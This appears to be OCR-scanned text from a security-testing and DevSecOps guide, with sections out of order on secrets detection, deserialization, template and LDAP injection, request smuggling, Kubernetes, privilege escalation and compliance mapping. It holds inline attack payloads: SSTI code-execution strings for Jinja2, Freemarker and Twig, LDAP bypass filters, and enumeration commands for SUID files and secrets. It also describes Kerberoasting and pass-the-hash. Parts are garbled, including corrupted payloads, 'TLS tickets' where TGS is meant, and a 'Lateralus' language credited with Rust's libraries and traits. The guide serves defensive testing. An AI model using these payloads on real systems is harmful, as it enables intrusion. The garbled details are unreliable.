deployment. Broken verification chain: blocks the pipeline.

Network micro-segmentation: pipeline components communicate through: encrypted, authenticated
channels. Network policies enforce: component-to-component restrictions.

Continuous monitoring: all pipeline activities are: monitored in real-time. Anomaly detection identifies:
unusual build patterns, unexpected network access, and timing anomalies.

Policy enforcement points: every pipeline transition has: a policy checkpoint. Policies evaluate:

identity, artifact integrity, scan results, and approval status.

Least privilege execution: each pipeline stage runs with: minimum required permissions. Build stages
cannot: deploy. Deploy stages cannot: modify source. Scan stages: read-only.

Ephemeral credentials: all credentials are: short-lived (minutes to hours), automatically rotated, and
revoked after use. No long-lived tokens in: pipeline configuration.

Supply chain verification: every dependency is: verified against known-good hashes. Every tool is:
verified against expected signatures. Verification is: automated and mandatory.

Incident response: zero trust pipelines include: automated incident response. Compromised
components are: isolated, rotated, and investigated without manual intervention.
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45 Secrets Detection in Code

Entropy-based detection: scan for: high-entropy strings that may be: API keys, tokens, or passwords.

Shannon entropy above threshold (4.5 bits/char) triggers: investigation.

Pattern-based detection: regex patterns match: AWS keys (AKIA...), GitHub tokens (ghp_...), Slack

tokens (xoxb-...), and other known formats. Pattern libraries: detect-secrets, TruffleHog.

Historical scanning: scan entire Git history, not just current files. Secrets in: deleted files, old

commits, and reverted changes are: still accessible. git log --all --full-history.

Binary file scanning: scan binary files (compiled code, archives, images) for: embedded strings
matching secret patterns. Strings extraction: strings binary | grep pattern.

Pre-commit hooks: detect-secrets pre-commit hook scans: staged changes before commit. Blocked:

commits containing potential secrets. Developer feedback: immediate.

False positive management: secrets detection produces false positives. Baseline: .secrets.baseline
stores known non-secrets. Allowlist; patterns for test data and documentation.

Secret verification: automatically verify detected secrets by: attempting authentication. Verified

secrets are: critical findings. Unverified: require manual review.

Rotation on detection: when secrets are detected in code, automatically: rotate the secret, invalidate

the old value, and update authorized stores. Rotation must be: immediate.

GitHub secret scanning: GitHub Advanced Security scans: pushed commits for known secret

patterns. Partner program: notifies service providers of leaked tokens.

CI/CD variable scanning: scan CI/CD configuration files for: hardcoded secrets. Verify: all secrets

reference secret stores, not inline values.

5.6 Deserialization Testing

Java deserialization: test for: Java object deserialization vulnerabilities. Payload generation:
ysoserial. Gadget chains: Commons Collections, Spring, Hibernate. Impact: remote code execution.

Python pickle: test for: pickle.loads(untrusted_data). Pickle allows: arbitrary code execution during

deserialization. Never unpickle: untrusted data.

PHP unserialize: test for: unserialize(user_input). Magic methods (__wakeup, __ destruct) execute:

during deserialization. Exploitation: property-oriented programming (POP chains).

JSON deserialization: generally safer than binary formats. However, JSON parsers with type
confusion, prototype pollution (JavaScript), and custom deserializers may be: vulnerable.

XML deserialization: .NET XmlSerializer and Java XMLDecoder can be: exploited through crafted
XML. Related to: XXE but targeting deserialization specifically.

Detection indicators: Content-Type headers (application/java-serialized-object), magic bytes
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(aced0005 for Java), and base64-encoded binary data in: parameters and cookies.

Mitigation verification: verify that: deserialization uses allowlists (not blocklists), untrusted data is

never deserialized, and serialization libraries are patched.

Custom format testing: applications with custom binary protocols may have: deserialization

vulnerabilities. Fuzz: custom protocol parsers with malformed data.

Token deserialization: JWT, SAML, and session tokens may use: serialized objects. Modify: token

payloads to test deserialization handling.

Lateralus safety: Lateralus's serde library uses: type-safe deserialization. Deserialization targets:
known types only. No arbitrary code execution during deserialization. Memory safety guaranteed.

7.6 Server-Side Template Injection

SSTI detection: inject template expressions: {{7*7}} (Jinja2, Twig), ${7*7} (Freemarker, Velocity),
#{7*7} (Thymeleaf). If 49 appears in output: template injection confirmed.

Jinja2 exploitation: {{config. class . init . globals__ ['0s'].popen('id’).read()}}. Jinja2 SSTI can

achieve: code execution through Python object traversal.

Freemarker exploitation:  <#assign ex='freemarker.template.utility.Execute'?new()>${ex('id")}.
Freemarker allows: direct command execution through utility classes.

Twig exploitation: {{_self.env.registerUndefinedFilterCallback('exec")}H{ self.env.getFilter('id")}}. Twig
SSTI requires: specific exploitation chains.

Blind SSTI: no output in response. Detection: time-based ({{sleep(5)}}), DNS callback, and

error-based (inject invalid template syntax to trigger error).

SSTI in email templates: email systems using templates for: personalization may process user input

as template code. Test: all user-controlled email content.

SSTI in PDF generation: PDF generators using templates (wkhtmltopdf, Puppeteer) may evaluate:
template expressions in user content. Test: all user-controlled PDF content.

Context-dependent exploitation: SSTI payloads depend on: template engine, sandbox restrictions,
and available objects. Identify: engine first, then craft: engine-specific payloads.

Sandbox escape: some template engines implement sandboxes. Test: sandbox escape techniques
specific to the engine. Sandboxes are: often bypassable through object traversal.

Prevention: never pass user input to template rendering functions. Use: template engines with
auto-escaping. Validate: all template variables. Consider: logic-less templates (Mustache).

9.6 Kubernetes Secrets Management

etcd encryption: Kubernetes Secrets are stored in etcd. By default: Secrets are base64-encoded (not
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encrypted) in etcd. Enable: encryption at rest with: EncryptionConfiguration.

Secret access: Secrets are accessible to: any pod in the namespace (by default). RBAC restricts:
which service accounts can read Secrets. Limit: Secret access to authorized pods.

External Secrets Operator: syncs secrets from: external providers (Vault, AWS Secrets Manager,

Azure Key Vault) to Kubernetes Secrets. Source of truth: external provider.

Sealed Secrets: encrypt secrets in Git. SealedSecret controller decrypts: in-cluster only. Sealed

Secrets enable: GitOps with encrypted secrets. Key rotation: periodic.

Secret rotation: Kubernetes does not natively rotate secrets. External Secrets Operator supports:
rotation from provider. Reloader restarts: pods when secrets change.

Environment variable exposure: Secrets mounted as environment variables are: visible in

/proc/[pid]/environ. Prefer: volume mounts over environment variables for sensitive secrets.

Secret enumeration: from a compromised pod, list accessible secrets. kubectl get secrets (requires
RBAC). Mounted secrets: /var/run/secrets. Environment: env | grep SECRET.

Image pull secrets: imagePullSecrets authenticate to private registries. Pull secrets should be:
scoped per namespace, rotated periodically, and not shared across teams.

CSI secret store driver: mount secrets from external providers as: volumes. Secrets are: never stored
in etcd. Direct integration: with Vault, AWS, Azure, GCP.

Secret scanning in manifests: scan Kubernetes manifests for: hardcoded secrets in: ConfigMaps,

Deployments, and Helm values. Use: kubesec, checkov, and custom rules.

10.6 Multi-Cloud Security Testing

Consistent baselines: define: security baselines that apply across clouds. Baselines cover:

encryption, access control, logging, and network security. Cloud-specific implementation differs.

Tool selection: multi-cloud tools: ScoutSuite (AWS+Azure+GCP), Prowler (AWS+Azure), CloudSploit
(multi-cloud). Single-cloud tools may be: deeper but require: per-cloud configuration.

Identity federation: test for: identity federation between clouds. SAML/OIDC federation may: extend
trust boundaries. Compromising one identity provider may: affect all clouds.

Network interconnection: test for: VPN and peering connections between clouds. Cross-cloud
connections create: additional attack paths. Network policies must: span all connections.

Data sovereignty: different clouds in different regions have: different data sovereignty requirements.
Test: data residency compliance across all cloud deployments.

Cost as a security metric: monitor: cost anomalies across all clouds. Cryptomining, data exfiltration,
and resource abuse cause: unexpected cost spikes in any cloud.

Unified logging: aggregate logs from all clouds into: a single SIEM. Unified view enables: cross-cloud
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correlation. Detect: lateral movement between cloud providers.

Disaster recovery testing: test for: DR failover between clouds. Verify: security controls are equally
applied in DR environments. DR environments must not be: less secure.

Shared responsibility: each cloud provider has: different shared responsibility boundaries. Testing

must: account for which controls are customer-managed in each cloud.

Compliance harmonization: map: multi-cloud configurations to compliance frameworks. Demonstrate:

consistent controls across all cloud providers. Auditors need: unified evidence.

11.5 Privilege Escalation Paths

Linux privilege escalation: SUID binaries (find / -perm -4000), cron jobs (cat /etc/crontab), writable

scripts in PATH, kernel exploits, and sudo misconfigurations.

Container to host: Docker socket access, privileged containers, host PID namespace, host network
namespace, and writable host mounts. Container escapes are: high-priority findings.

Kubernetes escalation: create-pod permission enables: privileged pod creation. exec-into-pod
enables: pod access. list-secrets enables: credential theft. Map: RBAC to escalation paths.

Cloud escalation: 1AM role assumption, service-linked role abuse, resource policy manipulation, and
metadata service exploitation. Cloud escalation may be: cross-account.

Horizontal escalation: accessing resources of other users at the same privilege level. IDOR, session
manipulation, and token theft enable: horizontal privilege escalation.

Vertical escalation: escalating from: normal user to admin. Methods: exploiting vulnerabilities,
manipulating role assignments, and abusing trust relationships.

Escalation through dependencies: compromised dependencies run with: the application's privileges.

Dependency escalation is: indirect but equally dangerous.

Service account escalation: overly permissive service accounts enable: escalation through: API

access, resource creation, and credential retrieval.

Escalation chain mapping: document: multi-step escalation paths. Initial access -> container escape
-> node access -> cluster admin -> cloud admin. Chain mapping reveals: total impact.

Escalation prevention: principle of least privilege at every layer. Regular: privilege review, access
certification, and escalation path testing.

12.5 Dashboard and Visualization

Security posture dashboard: real-time view of: total vulnerabilities by severity, trend over time, mean
time to remediation, and SLA compliance. Executive-level visibility.

Service risk heat map: visual grid showing: services vs risk level. Color coding: red (critical), orange
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(high), yellow (medium), green (low). Quick identification of: problem areas.

Vulnerability timeline: time-series chart showing: discovery date, assignment date, remediation date,
and verification date for each vulnerability. Track: remediation velocity.

Team comparison: compare security metrics across: development teams. Metrics: vulnerability

count, remediation time, false positive rate, and scanning coverage. Encourage: healthy competition.

Dependency risk graph: visualize: dependency tree with: vulnerability indicators. Node size: number

of dependents. Node color: vulnerability severity. Graph reveals: high-impact dependencies.

Attack surface visualization: map: exposed services, open ports, and public endpoints. Network
diagram with: risk overlay. Identify: high-risk exposure points.

Compliance scorecard: percentage compliance for each: framework (OWASP, CIS, NIST) and each:

control category. Track: compliance improvement over time.

Scan coverage map: visualize: which services are scanned, which types of scans run, and scan
frequency. Identify: coverage gaps. Ensure: all services are adequately tested.

Trend analysis: rolling average of: new vulnerabilities per week, remediation rate, and net
vulnerability change. Trends predict: future security posture.

Alert fatigue monitoring: track: alert volume, acknowledgment rate, and escalation rate. High volume

with low acknowledgment indicates: alert fatigue. Tune: thresholds and routing.

13.6 Pipeline Performance Optimization

Scan caching: cache scan results for: unchanged files, unchanged dependencies, and unchanged
configurations. Only scan: changes since last scan. Caching reduces: scan duration by 60-80%%.

Parallel execution: run independent scans in parallel. SAST, SCA, and secret scanning can run:

simultaneously. Parallel execution reduces: total pipeline duration.

Incremental scanning: analyze only changed files for SAST. Analyze only new dependencies for
SCA. Incremental scanning provides: fast feedback on pull requests.

Scan profile selection: use quick profiles for: pull requests (minutes). Use full profiles for: main
branch (comprehensive). Use extended profiles for: release candidates.

Resource allocation: allocate appropriate CPU and memory for: each scan tool. Under-resourcing
causes: slow scans and timeouts. Over-resourcing wastes: pipeline capacity.

Tool selection for speed: some tools are faster than others. Semgrep (fast) vs CodeQL (thorough).
Choose: based on pipeline stage. Fast tools for PR checks. Thorough tools for nightly.

Baseline management: maintain vulnerability baselines per branch. Only report: new findings above
baseline. Baseline prevents: existing findings from blocking every build.

Distributed scanning: distribute large scan workloads across: multiple agents. Split targets: by
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module, by file group, or by scan type. Aggregate: results after completion.

Pipeline metrics: track: scan duration, resource usage, finding counts, and false positive rates per
tool. Metrics identify: optimization opportunities and underperforming tools.

Shift-left optimization: catch more issues earlier in the pipeline. Pre-commit hooks (seconds), IDE

plugins (real-time), PR checks (minutes) are: cheaper than staging DAST (hours).

14.6 Lateralus Security Patterns

Ownership for security: Lateralus ownership model prevents: use-after-free, double-free, and data
races. Ownership is: the foundation of memory-safe security tools.

Type-safe parsers: protocol parsers use: nom combinators with Lateralus types. Parser output is:

type-safe, bounds-checked, and cannot produce: invalid states.

Error handling for security: Result[T, E] forces: explicit error handling. No ignored errors. No null
pointer dereferences. Every failure path is: handled or propagated.

Constant-time operations: subtle crate provides: constant-time comparison, conditional selection, and
conditional swap. Prevent: timing attacks in cryptographic code.

Sandboxed execution: seccomp, capabilities, and namespaces restrict: system calls available to
security tools. Even if the tool is compromised: damage is contained.

Memory-safe FFl: when calling C libraries, Lateralus FFI requires: explicit unsafe blocks. FFI
boundaries are: audited, documented, and tested. Wrapper crates provide: safe interfaces.

Audit-friendly code: Lateralus code is: explicit, readable, and reviewable. No hidden control flow, no
implicit conversions, and no undefined behavior (in safe code).

Deterministic behavior: Lateralus tools produce: deterministic output for the same input. Determinism

enables: reproducible scans, baseline comparison, and regression testing.

Thread safety guarantees: Send + Sync traits ensure: concurrent security scanning is data-race free.
The compiler prevents: race conditions at compile time.

Performance without compromise: native performance with: zero-cost abstractions. Iterators,
closures, and generics compile to: optimal machine code. Security tools run fast: within pipeline time
budgets.

3.5 Web Application Mapping

Sitemap analysis: parse sitemap.xml and robots.txt to discover: pages, directories, and disallowed

paths. Disallowed paths often contain: admin interfaces and sensitive endpoints.

JavaScript source analysis: analyze JavaScript files for: APl endpoints, WebSocket URLs, hidden
parameters, and authentication tokens. Tools: LinkFinder, JSParser, and custom regex.
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Form enumeration: catalog all forms with: action URLSs, parameters, methods (GET/POST), and input
types. Forms are: primary attack surfaces for injection and CSRF.

Authentication flow mapping: document: login pages, registration, password reset, MFA enroliment,
and session management. Each flow has: unique attack surfaces.

API endpoint cataloging: discover APl endpoints from: documentation, JavaScript, mobile apps, and
fuzzing. Catalog: URL, method, parameters, authentication, and rate limits.

Error message harvesting: trigger errors to discover: technology stack, file paths, database types,

and internal hostnames. Error messages provide: valuable reconnaissance data.

Comment analysis: HTML comments may contain: developer notes, version info, TODO items with

security implications, and commented-out code with credentials.

Third-party resource mapping: identify: external JavaScript, CDN resources, analytics services, and
payment processors. Third-party resources introduce: additional attack surface.

File and directory brute forcing: test for: common paths (/admin, /backup, /.git, /.env, /api/docs).
Wordlists: SeclLists, dirbuster. Discover: hidden functionality.

Parameter discovery: test for: hidden parameters not in forms. Tools: Arjun, ParamMiner. Hidden
parameters may enable: debug modes, admin access, and bypass controls.

5.7 LDAP Injection Testing

Basic LDAP injection: test for: LDAP metacharacter injection in search filters. Payload:
*)(uid=*))(|(uid=* modifies the LDAP query to return all entries.

Authentication bypass: inject: admin)(&) as username. |If the application constructs:
(&(uid=admin)(&))(userPassword=anything)), the filter always succeeds.

Information disclosure: modify LDAP filters to enumerate: usernames, email addresses, group
memberships, and organizational units.

Blind LDAP injection: no output in response. Detection: boolean-based (different responses for
true/false conditions) and error-based (trigger LDAP errors).

LDAP attribute extraction: inject wildcards to discover: attribute names. Test: cn=*, mail=*,
telephoneNumber=*. Successful queries reveal: available attributes.

DN manipulation: Distinguished Names in LDAP may be: injectable. Test: DN parameters for: special

character injection (comma, equals, semicolon).

LDAPS verification: verify that: LDAP connections use TLS (LDAPS on port 636 or STARTTLS on
port 389). Unencrypted LDAP exposes: credentials and directory data.

Pagination exploitation: LDAP queries with large result sets use: paging. Test: page size
manipulation to extract: large datasets in unexpected volumes.
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Referral following: LDAP referrals redirect to: other LDAP servers. If the application follows referrals:
SSRF-like attacks through LDAP referrals.

Prevention: parameterized LDAP queries, input validation (escape LDAP metacharacters), and
least-privilege LDAP service accounts. Test: all LDAP-interacting endpoints.

7.7 HTTP Request Smuggling

CL-TE smuggling: front-end uses Content-Length, back-end uses Transfer-Encoding. Discrepancy
allows: attacker to smuggle a second request inside the first.

TE-CL smuggling: front-end uses Transfer-Encoding, back-end uses Content-Length. Reverse of
CL-TE. Both produce: desynchronized request parsing between proxy and server.

TE-TE smuggling: both use Transfer-Encoding but with: slight variations (Transfer-Encoding:
chunked vs Transfer-Encoding: xchunked). One server ignores the malformed header.

Detection: send ambiguous requests and observe: response differences, timeout differences, and

interference with subsequent requests.

Impact: request smuggling enables: cache poisoning (serve malicious content from cache), session
hijacking (steal other users' requests), and access control bypass.

HTTP/2 smuggling: HTTP/2 to HTTP/1.1 downgrade at reverse proxy enables: request smuggling
through header manipulation. H2C smuggling: cleartext HTTP/2 upgrade.

Pipeline confusion: chained proxies may have: different request boundary interpretations. Each proxy
pair in the chain is: a potential smuggling point.

Automated detection: tools like smuggler (Python), h2csmuggler, and Burp Suite's HTTP Request
Smuggler extension automate: smuggling detection.

Remediation verification: verify that: front-end and back-end agree on request boundaries.
Normalize: Content-Length and Transfer-Encoding handling. Reject: ambiguous requests.

Impact on pipeline testing: request smuggling may bypass: WAF rules, authentication proxies, and
rate limiting. Test: against all proxy chains in the architecture.

9.7 Pod Security Standards

Privileged: unrestricted policy. No restrictions on: pods. Used only for: system-level workloads that

require full access. Avoid: for application workloads.

Baseline: minimal restrictions that prevent: known privilege escalation. Disables: hostNetwork,

hostPID, hostIPC, privileged containers, and most host path mounts.

Restricted: heavily restricted policy following: security best practices. Requires: non-root, read-only
root filesystem, drop all capabilities, and seccomp profile.
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Enforcement modes: enforce (reject violating pods), audit (allow but log violations), warn (allow with
warnings). Start with: warn, then audit, then enforce.

Namespace-level application: pod security standards are applied at: namespace level. Label:
namespaces with pod-security.kubernetes.io/enforce: restricted.

Migration strategy: inventory current pod configurations. ldentify: violations against target standard.
Remediate: violations. Apply: standard progressively.

Custom policies: Pod Security Standards cover: common cases. OPA/Gatekeeper and Kyverno

provide: custom policies for organization-specific requirements.

Runtime enforcement: Pod Security Admission enforces: at admission time. Runtime tools (Falco,

Sysdig) detect: policy violations at runtime.

Testing: deploy test pods that violate each policy level. Verify: violations are detected and blocked.
Test: all enforcement modes (enforce, audit, warn).

Exceptions: some workloads legitimately need: elevated privileges (monitoring, logging, networking).
Document: exceptions with justification. Review: exceptions periodically.

10.7 Cloud-Native Application Protection

CNAPP overview: Cloud-Native Application Protection Platforms combine: CSPM (posture), CWPP
(workload protection), CIEM (entitlements), and KSPM (Kubernetes security).

CSPM: Cloud Security Posture Management continuously assesses: cloud configuration against best
practices. Detects: misconfigurations, compliance violations, and drift.

CWPP: Cloud Workload Protection Platform protects: VMs, containers, and serverless functions.
Features: vulnerability scanning, runtime protection, and behavioral monitoring.

CIEM: Cloud Infrastructure Entittement Management analyzes: IAM permissions. Identifies:
over-privileged identities, unused permissions, and risky permission combinations.

KSPM: Kubernetes Security Posture Management assesses: cluster configuration, RBAC policies,

network policies, and pod security. Continuous: compliance monitoring.

Shift-left integration: CNAPP integrates with: CI/CD pipelines for early detection. laC scanning,
container image scanning, and dependency scanning run: before deployment.

Runtime protection: CNAPP monitors running workloads for: anomalous behavior, vulnerability

exploitation, and lateral movement. Runtime detection complements: pre-deployment scanning.

Attack path analysis: CNAPP maps: potential attack paths through the cloud environment. Paths
combine: vulnerabilities, misconfigurations, and overprivileged identities.

Unified visibility: single pane of glass for: all cloud security findings. Correlation across: posture,
workload, identity, and Kubernetes. Unified view reduces: tool sprawl.
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Automated remediation: CNAPP auto-remediates: common misconfigurations (public access,
encryption, logging). Automated remediation reduces: mean time to remediation.

12.6 Metrics and KPlIs

Mean Time to Detect (MTTD): average time from: vulnerability introduction to detection. Lower MTTD

indicates: more effective scanning. Target: detect within the same pipeline run.

Mean Time to Remediate (MTTR): average time from: detection to verified fix. MTTR varies by
severity: critical (hours), high (days), medium (weeks), low (months).

Vulnerability density: vulnerabilities per thousand lines of code (KLOC). Density tracks: code quality
over time. Decreasing density indicates: improving secure coding practices.

Coverage percentage: percentage of codebase covered by: SAST, DAST, SCA, and infrastructure
scanning. Target: 100%% coverage for all scan types.

False positive rate: percentage of findings that are: not actual vulnerabilities. High false positive rate
causes: alert fatigue. Target: below 10%% for each tool.

Scanning frequency: how often each scan type runs. Target: SAST on every PR, SCA on every build,

DAST on every staging deploy, infra scan on every configuration change.

SLA compliance: percentage of vulnerabilities remediated within: defined SLA. Track: per severity

level. Non-compliance triggers: escalation and review.

Security debt: total count of unresolved vulnerabilities weighted by severity. Security debt
accumulates when: remediation does not keep pace with detection. Track: debt trend.

Pipeline block rate: percentage of builds blocked by: security gates. High block rate may indicate: too
many findings or too strict policies. Optimize: gate thresholds.

Risk score trend: aggregate risk score over time. Decreasing trend indicates: improving security
posture. Increasing trend triggers: strategic review and resource allocation.

15.4 Appendix: Tool Reference

SAST tools: Semgrep (multi-language, fast, customizable), CodeQL (semantic analysis, GitHub

integration), SonarQube (quality + security, IDE integration), Checkmarx (enterprise, compliance).

SCA tools: Trivy (containers + dependencies, fast), Snyk (developer-focused, fix PRs), OSV-Scanner

(Google, open source), Dependabot (GitHub native, auto-updates).

DAST tools: ZAP (OWASP, free, extensible), Nuclei (template-based, fast), Burp Suite (manual +

automated, professional), Arachni (framework, API-driven).

Infrastructure scanning: Checkov (multi-framework, policy-as-code), tfsec (Terraform-specific, fast),
kube-linter (Kubernetes manifests), ScoutSuite (multi-cloud assessment).
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Secret detection: TruffleHog (entropy + pattern), detect-secrets (Yelp, pre-commit), Gitleaks (git
history, Cl integration), GitHub Secret Scanning (native, partner program).

Container security: Trivy (image scanning), Falco (runtime detection), Cosign (image signing), Grype

(vulnerability scanning), Dive (layer analysis).

Network scanning: Nmap (port scanning, scripting), testssl.sh (TLS testing), Masscan (high-speed

scanning), Nuclei (network templates), ZMap (internet-wide scanning).

Fuzzing tools: cargo-fuzz (Lateralus, libFuzzer), AFL++ (multi-language, coverage-guided), Boofuzz

(network protocols), Jazzer (Java, JVM), Atheris (Python, libFuzzer).

Cloud security: Prowler (AWS+Azure), ScoutSuite (multi-cloud), Steampipe (SQL queries),

CloudSploit (open source), AWS Config (native compliance).

Orchestration: DefectDojo (finding aggregation), Faraday (collaboration), Nuclei (template engine),
OWASP Glue (pipeline integration), Dracon (pipeline-native).

Lateralus-based tools: custom scanners built with Lateralus deliver: memory safety, high
performance, and type-safe vulnerability modeling. The Lateralus ecosystem grows: tools for every

pipeline stage.

Tool evaluation criteria: accuracy (true/false positive rates), speed (scan duration), integration (CI/CD
support), maintenance (update frequency), and cost (open source vs commercial).

3.6 Asset Inventory Management

Automated discovery: continuously discover new assets through: DNS monitoring, cloud API
enumeration, network scanning, and certificate transparency. Assets are: automatically added to

inventory.

Asset classification: classify assets by: business criticality (tier 1-4), data sensitivity (public to
restricted), exposure level (internet-facing, internal), and compliance scope.

Ownership assignment: every asset has: an owner team. Ownership determines: who receives

vulnerability notifications and who is responsible for remediation.

Stale asset detection: identify assets that are: no longer maintained, unused, or abandoned. Stale
assets are: common attack targets. Decommissioning: removes the attack surface.

Shadow IT detection: discover: unauthorized cloud resources, personal accounts, and unapproved

SaasS services. Shadow IT creates: unmanaged attack surface.

Asset relationship mapping: document: dependencies between assets. Web server depends on:

database, cache, message queue. Dependency maps enable: blast radius assessment.

Tagging and metadata: tag assets with: environment (prod, staging, dev), team, technology, and
compliance scope. Tags enable: filtered scanning and targeted testing.
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Integration with CMDB: synchronize asset inventory with: Configuration Management Database.
CMDB provides: organizational context. Inventory provides: technical detail.

Real-time updates: asset inventory updates on: cloud resource creation/deletion, DNS changes, and

deployment events. Real-time inventory ensures: scanning coverage.

Asset risk scoring: combine: asset classification, vulnerability count, exposure level, and business
impact into a risk score. Prioritize: high-risk assets for intensive testing.

6.5 Internal Network Penetration

Network enumeration: from internal vantage point, enumerate: subnets, VLANS, routing tables, and
DNS zones. Internal networks often have: flat architectures with minimal segmentation.

Service discovery: scan internal IP ranges for: management interfaces (IPMI, iLO, iDRAC),
databases (MySQL, PostgreSQL, MongoDB), file shares (SMB, NFS), and monitoring systems.

Default credential testing: internal services frequently use: default credentials. Test: admin/admin,
root/root, and product-specific defaults. Credential databases: SecLists, DefaultCreds-cheat-sheet.

LLMNR/NBT-NS poisoning: on Windows networks, test for: Link-Local Multicast Name Resolution
and NetBIOS Name Service poisoning. Responder tool captures: NTLMv2 hashes.

Kerberoasting: request service tickets for accounts with Service Principal Names. Crack: TLS tickets
offline. High-value targets: service accounts with admin privileges.

Pass-the-hash: use captured NTLM hashes to: authenticate without knowing the password. Tools:
CrackMapExec, Impacket. Effective against: Windows environments with NTLM enabled.

Active Directory enumeration: BloodHound maps: AD trust relationships, group memberships, and
shortest paths to Domain Admin. AD enumeration reveals: privilege escalation paths.

SMB signing: verify that: SMB signing is required. Missing SMB signing enables: relay attacks
(capture and relay NTLM authentication). Mitigation: require SMB signing.

VLAN hopping: test for: switch port misconfiguration that allows: accessing other VLANs. DTP
(Dynamic Trunking Protocol) and 802.1Q double-tagging can: bypass VLAN isolation.

Print spooler abuse: Windows Print Spooler (CVE-2021-1675, PrintNightmare) enables: remote code
execution and privilege escalation. Disable: print spooler on servers that do not need printing.

8.5 API Rate Limiting and Abuse

Rate limit testing: send requests at increasing rates until: rate limiting engages. Verify: appropriate

limits for authentication (low), search (medium), and read (high) endpoints.

Rate limit bypass: test for: bypasses using: IP rotation, different APl keys, header manipulation
(X-Forwarded-For), and request parameter variation.
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Account enumeration through rate limits: different rate limits for: existing vs non-existing accounts
may reveal: valid accounts. Verify: consistent rate limit behavior.

Distributed abuse: simulate distributed attacks from: multiple IP addresses. Verify: rate limiting
accounts for: per-account limits, not just per-IP limits.

GraphQL batching abuse: send batched queries to: multiply effective request rate. 100 queries in one

request may: bypass per-request rate limiting.

WebSocket flood: send high-volume WebSocket messages. Verify: per-connection message rate

limits, total bandwidth limits, and connection count limits.

Retry-After header: verify that: rate-limited responses include Retry-After header. Clients should:

respect Retry-After. Missing header causes: retry storms.

Cost-based rate limiting: expensive operations should have: lower rate limits than cheap operations.
Database queries, file operations, and external API calls are: expensive.

Abuse pattern detection: beyond simple rate limiting, detect: credential stuffing patterns, scraping
patterns, and enumeration patterns. Behavioral analysis: catches sophisticated abuse.

Rate limit documentation: API documentation should specify: rate limits for each endpoint.
Undocumented limits surprise: legitimate users and frustrate developers.

11.6 Impact Quantification

Data volume estimation: estimate the volume of data accessible from: compromised systems.
Consider: database sizes, file storage, log archives, and cached data.

User impact: estimate the number of users affected by: a successful attack. Consider: active users,
registered users, and users whose data is stored.

Financial impact: estimate costs of: incident response, customer notification, regulatory fines, legal
action, and reputation damage. Financial impact justifies: security investment.

Operational impact: estimate disruption to: business operations, customer-facing services, and

internal workflows. Downtime costs: per-minute revenue loss for e-commerce.

Reputational impact: estimate: customer trust erosion, media coverage, and competitive
disadvantage. Reputational damage is: the hardest to quantify but often the most significant.

Supply chain impact: if the compromised organization is a: supplier or service provider, estimate:

downstream impact on customers and partners.

Regulatory penalties: GDPR (up to 4%% of global revenue), PCI-DSS (fines per card per month),
HIPAA ($100-$50,000 per violation). Regulatory impact is: quantifiable.

Recovery cost: estimate: person-hours for remediation, infrastructure rebuild costs, forensic
investigation costs, and legal consultation fees.
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Insurance impact: cyber insurance premiums increase after: incidents. Claims processing requires:
detailed documentation of impact. Quantification supports: insurance claims.

Board-level reporting: quantified impact enables: board-level risk discussions. Translate: technical
findings into business terms. Demonstrate: ROI of security investment.

15.5 Appendix: Glossary

APT (Advanced Persistent Threat): a sophisticated, long-term cyber attack campaign conducted by
well-resourced threat actors, typically nation-states or organized crime groups.

CSPM (Cloud Security Posture Management): continuous monitoring and assessment of cloud
infrastructure configurations against security best practices and compliance frameworks.

CVE (Common Vulnerabilities and Exposures): a standardized identifier for publicly known security
vulnerabilities, maintained by MITRE Corporation and used globally for vulnerability tracking.

CVSS (Common Vulnerability Scoring System): a standardized framework for rating the severity of
security vulnerabilities on a scale from 0.0 to 10.0, considering exploitability and impact.

DAST (Dynamic Application Security Testing): testing running applications by sending crafted
requests and analyzing responses for security vulnerabilities.

DevSecOps: integration of security practices into the DevOps software development lifecycle,
making security a shared responsibility across development and operations teams.

IAST (Interactive Application Security Testing): combines elements of SAST and DAST by
instrumenting the application at runtime to observe behavior during functional testing.

OWASP (Open Web Application Security Project): a nonprofit foundation that works to improve
software security through community-led projects, tools, and educational resources.

RASP (Runtime Application Self-Protection): security technology that runs inside the application to
detect and prevent attacks in real-time by monitoring application behavior.

SARIF (Static Analysis Results Interchange Format): a standard JSON-based format for the output of

static analysis tools, enabling interoperability between security scanners.

SAST (Static Application Security Testing): analyzing source code, bytecode, or binary code for
security vulnerabilities without executing the application under test.

SCA (Software Composition Analysis): identifying and tracking open source components and their
known vulnerabilities, licenses, and code quality issues in a codebase.

SBOM (Software Bill of Materials): a comprehensive inventory of all software components,
dependencies, libraries, and their versions used in a software product.

SLSA (Supply-chain Levels for Software Artifacts): a security framework for ensuring the integrity of
software artifacts throughout the supply chain, with four defined levels.
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15.6 Appendix: Compliance Framework Mapping

OWASP Top 10 mapping: A01 (Broken Access Control) maps to: authorization testing, IDOR testing,
and privilege escalation testing in pipeline stages 5 and 7.

OWASP Top 10 mapping: A02 (Cryptographic Failures) maps to: TLS testing, encryption verification,

and key management testing in pipeline stages 6 and 10.

OWASP Top 10 mapping: A03 (Injection) maps to: SQL injection, command injection, LDAP
injection, and template injection testing in pipeline stages 5 and 7.

CIS Benchmark mapping: CIS AWS Foundations 1.x (IAM) maps to: IAM configuration testing, MFA
enforcement, and credential rotation verification in pipeline stage 10.

CIS Benchmark mapping: CIS Kubernetes 5.x (Policies) maps to: RBAC testing, network policy
testing, and pod security testing in pipeline stage 9.

NIST CSF mapping: Identify (ID.AM) maps to: asset discovery and classification in pipeline stage 3.
Protect (PR.AC) maps to: access control testing in stage 7.

NIST CSF mapping: Detect (DE.CM) maps to: continuous monitoring and anomaly detection in

pipeline stage 12. Respond (RS.RP) maps to: incident response integration in stage 15.

PCI-DSS mapping: Requirement 6 (Secure Systems) maps to: vulnerability scanning, code review,

and penetration testing across pipeline stages 4, 5, and 7.

PCI-DSS mapping: Requirement 11 (Testing) maps to: quarterly vulnerability scanning, annual
penetration testing, and change detection in pipeline stages 4 and 12.

SOC 2 mapping: CC6.1 (Logical Access) maps to: authentication and authorization testing. CC7.1
(System Monitoring) maps to: continuous scanning and alerting.

ISO 27001 mapping: A.12.6 (Technical Vulnerability Management) maps to: vulnerability scanning
and remediation tracking. A.14.2 (Security in Development) maps to: SAST and DAST.

GDPR mapping: Article 25 (Data Protection by Design) maps to: privacy impact assessment and
data flow analysis. Article 32 (Security of Processing) maps to: encryption and access control testing.

HIPAA mapping: 164.312 (Technical Safeguards) maps to: access control, audit controls, integrity

controls, and transmission security testing across all pipeline stages.

Framework coverage matrix: each pipeline scan maps to multiple compliance controls. The coverage

matrix shows: which scans satisfy which controls. Gaps in the matrix indicate: testing deficiencies.

Evidence automation: pipeline testing automatically generates evidence for each mapped control.
